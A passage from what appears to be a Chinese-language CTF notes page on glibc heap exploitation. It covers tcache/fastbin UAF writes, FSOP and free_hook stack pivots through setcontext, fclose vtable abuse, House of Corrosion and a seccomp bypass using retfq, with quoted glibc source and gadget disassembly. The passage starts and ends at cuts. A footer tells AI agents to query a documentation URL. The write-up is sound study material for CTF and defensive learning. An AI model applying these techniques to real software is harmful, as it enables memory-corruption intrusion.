            }
        }
#endif
```

如果我们通过UAF能修改fastbin链表尾部chunk的fd指针为一个`target_addr`，当这个`target_chunk`最后被滑入tcache中时，`target_chunk`做为tcache的头部，若tcache中存在其他chunk，则`target_chunk -> fd` 就被写入一个堆地址，实现任意地址写。

与此同时，如果再次调用malloc申请chunk，得益于从tcache分配时未仔细检查`chunk_head`，这时便会从tcache中将这个`target_chunk`分配出来，实现任意地址分配内存。（任意地址分配内存在这种情况下是个鸡肋，因为我们完全可以不清空tcache,利用UAF+calloc也就是`fastbin_attck`来实现任意地址分配）

## glibc 2.28及以上堆利用的栈转移

1.在2.29中vtable是可写的

2.setcontext函数中gadget指令可控寄存器变成了rdx，非rdi

### 1.利用FSOP控制程序流程

在libc-2.29下`_IO_strfile`没有了像libc-2.24下的`fp->_s._allocate_buffer()`这类函数操作，都被修改为了标准函数(malloc...)，所以没办法直接直接像libc-2.24那样直接劫持程序流。因此不能使用以前的`io_file`攻击手法来劫持流程，但是我们看到在`_IO_str_overflow`函数中有很多函数,并且参数我们都可以控制，因此我们可以利用这一点来完成新版的io\_file攻击

```c
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags &
_IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))

{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
```

看`_IO_str_overflow`对应的汇编代码：

```c
.text:00007FFFF7E73AEB                 mov     rdx, [rdi+28h]      
.text:00007FFFF7E73AEF 
.text:00007FFFF7E73AEF loc_7FFFF7E73AEF:                       ; CODE XREF: _IO_str_overflow+175↓j 
.text:00007FFFF7E73AEF                 mov     r12, [rdi+38h] 
.text:00007FFFF7E73AF3                 mov     r15, [rdi+40h] 
.text:00007FFFF7E73AF7                 xor     eax, eax 
.text:00007FFFF7E73AF9                 mov     ebp, esi 
.text:00007FFFF7E73AFB                 mov     rbx, rdi 
.text:00007FFFF7E73AFE                 sub     r15, r12 
.text:00007FFFF7E73B01                 cmp     esi, 0FFFFFFFFh 
.text:00007FFFF7E73B04                 mov     rsi, rdx 
.text:00007FFFF7E73B07                 setz    al 
.text:00007FFFF7E73B0A                 sub     rsi, [rdi+20h] 
.text:00007FFFF7E73B0E                 add     rax, r15 
.text:00007FFFF7E73B11                 cmp     rax, rsi 
.text:00007FFFF7E73B14                 ja      loc_7FFFF7E73BF0 
.text:00007FFFF7E73B1A                 and     ecx, 1 
.text:00007FFFF7E73B1D                 jnz     loc_7FFFF7E73C50 
.text:00007FFFF7E73B23                 lea     r14, [r15+r15+64h] 
.text:00007FFFF7E73B28                 cmp     r15, r14 
.text:00007FFFF7E73B2B                 ja      loc_7FFFF7E73C50 
.text:00007FFFF7E73B31                 mov     rdi, r14 
.text:00007FFFF7E73B34                 call    j_malloc
```

可看到调用malloc之前rdx可控制为\[rdi+28h]

攻击方式：

* 劫持`IO_list_all`指向我们伪造的`io_file`
* 劫持`malloc_hook`为setcontext+61
* `io_str_overflow`里面会调用malloc,调用malloc之前`rdx=rdi+0x28` `rdi=&fake_IO_FILE` ,此时rdi可控，执行srop

还一种情况是不能分配到理想大小的tcache，无法通过常规方式劫持free或`malloc_hook`项。（参见TCTF2020 duet）

在执行FSOP前布置好一条tcache bin：`chunk A-> ptr` 构造好三个IO\_FILE: `X.chain -> Y.chain -> Z.chain`

调用malloc前rdx=rdi+0x28 rdi=\&fake\_IO\_FILE ,此时rdi可控。

这样就可以利用FSOP在`_IO_flush_all_lockp`时三次进入`_IO_str_overflow`；第一次控制malloc参数将chunk A分配出来；第二次的时候调用malloc就会分配到ptr，而后memcpy（参见`_IO_str_overflow` C源码），即可进行任意地址写（通常将`_malloc_hook`写成setcontext+61，用于第三次刷新IO用）；第三次调用malloc，即可setcontext实现orw。

### 2.利用`_free_hook`控制程序流程

* **方法 I ：**

然而在我们控了free\_hook以后，我们发现libc-2.29中没有可以利用rdi控制rsp进行迁栈的gadget，所以使用了其它方法。`IO_wfile_sync`函数可以利用rdi控制rdx，函数setcontext+0x35处可以用rdx控rsp，两个搭配使用就可以进行迁栈。在`IO_wfile_sync+0x6d`处有call \[r12+0x20]，这里的r12也是可以用rdi控制的，所以可以利用这条指令调用setcontext+0x35，实现`free_hook -> IO_wfile_sync -> setcontext+0x35`

```python
.text:0000000000089460 _IO_wfile_sync  proc near               ; DATA XREF: LOAD:0000000000010230↑o
.text:0000000000089460                                         ; __libc_IO_vtables:00000000001E5F00↓o ...
.text:0000000000089460
.text:0000000000089460 var_20          = qword ptr -20h
.text:0000000000089460
.text:0000000000089460 ; __unwind {
.text:0000000000089460                 push    r12
.text:0000000000089462                 push    rbp
.text:0000000000089463                 push    rbx
.text:0000000000089464                 mov     rbx, rdi
.text:0000000000089467                 sub     rsp, 10h
.text:000000000008946B                 mov     rax, [rdi+0A0h]
.text:0000000000089472                 mov     rdx, [rax+20h]
.text:0000000000089476                 mov     rsi, [rax+18h]
.text:000000000008947A                 cmp     rdx, rsi
.text:000000000008947D                 jbe     short loc_894AD
.text:000000000008947F                 mov     eax, [rdi+0C0h]
.text:0000000000089485                 test    eax, eax
.text:0000000000089487                 jle     loc_89590
.text:000000000008948D                 sub     rdx, rsi
.text:0000000000089490                 sar     rdx, 2
.text:0000000000089494                 call    _IO_wdo_write
.text:0000000000089499                 test    eax, eax
.text:000000000008949B                 setnz   al
.text:000000000008949E                 test    al, al
.text:00000000000894A0                 jnz     loc_895AD
.text:00000000000894A6
.text:00000000000894A6 loc_894A6:                              ; CODE XREF: _IO_wfile_sync+147↓j
.text:00000000000894A6                 mov     rax, [rbx+0A0h]
.text:00000000000894AD
.text:00000000000894AD loc_894AD:                              ; CODE XREF: _IO_wfile_sync+1D↑j
.text:00000000000894AD                 mov     rsi, [rax]
.text:00000000000894B0                 mov     rax, [rax+8]
.text:00000000000894B4                 cmp     rsi, rax
.text:00000000000894B7                 jz      short loc_89532
.text:00000000000894B9                 sub     rsi, rax
.text:00000000000894BC                 mov     r12, [rbx+98h]
.text:00000000000894C3                 sar     rsi, 2
.text:00000000000894C7                 mov     rbp, rsi
.text:00000000000894CA                 mov     rdi, r12
.text:00000000000894CD                 call    qword ptr [r12+20h]
```

* **方法 II :**

利用libc中的这段gadget

```
sub rsp,0x18
mov rbp,[rdi+0x48]
mov rax,[rbp+0x18]
lea r13,[rbp+0x10]
mov dword ptr [rbp+0x10],0
mov rdi,r13
call qword ptr [rax+0x28]
```

将`free_hook`写成这个gadget，可控制rbp寄存器，call时跳转到`leave_ret`指令实现栈迁移

或者glibc2.31中的这一段

```
0x7fcab86497a0 <getkeyserv_handle+576>    mov    rdx, qword ptr [rdi + 8]
0x7fcab86497a4 <getkeyserv_handle+580>    mov    qword ptr [rsp], rax
0x7fcab86497a8 <getkeyserv_handle+584>    call   qword ptr [rdx + 0x20] <0x7fcab854d0dd>
```

### 3.利用fclose（特殊条件）

fclose的源码，其核心函数是位于/libio/iofclose.c的`_IO_new_fclose`函数，其大致流程是：首先检查文件结构体指针，之后使用`_IO_un_link`将文件结构体从`_IO_list_all`链表取下，`_IO_file_close_it`里会最终调用`IO_SYSCLOSE(fp)`关闭文件描述符，之后返回fclose函数会调用到vtable里面的函数`_IO_FINISH(fp)`，如果并非stdin/stdout/stderr最后调用free(fp)释放结构体指针。

在`_IO_file_close_it`里调用`IO_SYSCLOSE(fp)`，或是在fclose里调用`_IO_FINISH(fp)`的时候，rdx的寄存器值都是`_IO_helper_jumps`，所以只要我们能控制`_IO_helper_jumps`的值就能控制rdx（2.29以上`jumps_table`可写）.

利用方式：

我们可以将`IO_file_jumps`+0x88(sysclose)（0x10(finish)）的位置覆盖为setcontext+53并且在`IO_helper_jumps`上布置setcontext参数，或者将vtable直接覆盖为`IO_helper_jumps`，然后直接在`IO_helper_jumps`布置所有的值。

## House-of-Corrosion 任意地址写

1. 可以分配较大的堆块（size <=0x3b00)
2. 通过爆破4bit,改写bk进行unsortedbin attack 改写global\_max\_fast变量
3. 通过分配释放特定大小的堆块,记为A **(chunk size = (offset \* 2) + 0x20 ，offset为target\_addr与fastbinY的差值)**

   `pwndbg>    p (mfastbinptr (*)[10])target_addr - &main_arena.fastbinsY` **target\_addr**为攻击地址

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2F-LvO9OHsEGtxVlZ-acnW%2F-LvO9PLbsPxtdpefL1At%2F5.png?generation=1575601417883563\&alt=media)

所以我们至少可实现任意地址写null,存在UAF时可写任意value.

## seccomp 没禁用架构

大致思路：

1. 调用mmap申请地址，调用read读入32位shellcode
2. 同时构造用retfq切换到32位模式，跳转到32位shellcode 位置
3. 按照32位规则调用fp = open("flag")
4. 保存open函数返回的fp指针，再次调用retfq切换回64模式，跳转到64位shellcode位置
5. 执行read,write打印flag

注意点：

cs = 0x23代表32位模式，cs = 0x33代表64位模式，retfq有两步操作，ret以及set cs，所以执行retfq会跳转到rsp同时将cs设置为\[rsp+0x8]，我们只需要事先在ret位置写入32位的shellcode就可以执行了，但retfq跳转过去的时候程序已经切换成了32位模式，所以地址解析也是以32位的规则来的，所以原先的rsp = 0x7ffe530d01b8会被解析成esp = 0x530d01b8，所以跳过去之后再执行push/pop的指令就会报错，所以在跳转过去后要先平衡好esp的地址，比如执行mov esp,im


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://b0ldfrev.gitbook.io/note/miscellaneous/ctf-bi-ji.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
